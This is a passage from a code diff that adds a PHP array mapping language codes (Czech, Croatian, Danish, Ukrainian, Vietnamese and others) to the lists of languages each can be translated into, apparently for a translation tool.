+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'cs'    => array( 'cs'		=>'Czech',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'hr'    => array( 'hr'		=>'Croat',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'da'    => array( 'da'		=>'Danish',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'fi'    => array( 'fi'		=>'Finnish',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'hi'    => array( 'hi'		=>'Hindi',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'pl'    => array( 'pl'		=>'Polish',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'ro'		=>'Rumanian',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'ro'    => array( 'ro'		=>'Rumanian',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'sv'		=>'Swedish',
+    								'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'no'    => array( 'no'		=>'Norwegian',
+								    'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'sv'		=>'Swedish',
+    								'ro'		=>'Rumanian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'sv'    => array( 'sv'		=>'Swedish',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+
+  'ca'    => array( 'ca'    => 'Catalan',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'tl'    => array( 'tl'    => 'Filipino',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'iw'    => array( 'iw'		=> 'Hebrew',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',								    
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'id'    => array( 'id'		=> 'Indonesian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',								    
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'lv'    => array( 'lv'		=> 'Latvian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',								    
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'lt'    => array( 'lt'		=> 'Lithuanian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',								    
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'sr'    => array( 'sr'		=> 'Serbian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',								    
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'sk'    => array( 'sk'		=> 'Slovak',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',								    
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'sl'    => array( 'sl'		=> 'Slovenian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',								    
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'uk'    => array( 'uk'		=> 'Ukrainian',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',
+								    'vi'		=> 'Vietnamese',
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'vi'    => array( 'vi'		=> 'Vietnamese',
+    								'it'    => 'Italian',
+									  'ko'    => 'Korean',
+									  'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+									  'pt'    => 'Portuguese',
+									  'en'    => 'English',
+									  'de'    => 'German',
+									  'fr'    => 'French',
+									  'es'    => 'Spanish',
+									  'ja'    => 'Japanese',
+									  'ar'    => 'Arabic',
+									  'ru'		=> 'Russian',
+									  'el'    => 'Greek',
+									  'nl'		=> 'Dutch',
+								    'bg'		=>'Bulgarian',
+								    'cs'		=>'Czech',
+								    'hr'		=>'Croat',
+								    'da'		=>'Danish',
+								    'fi'		=>'Finnish',
+								    'hi'		=>'Hindi',
+								    'pl'		=>'Polish',
+								    'ro'		=>'Rumanian',
+								    'no'		=>'Norwegian',
+								    'sv'		=>'Swedish',
+								    'ca'    => 'Catalan',
+								    'tl'    => 'Filipino',
+								    'iw'		=> 'Hebrew',
+								    'id'		=> 'Indonesian',
+								    'lv'		=> 'Latvian',
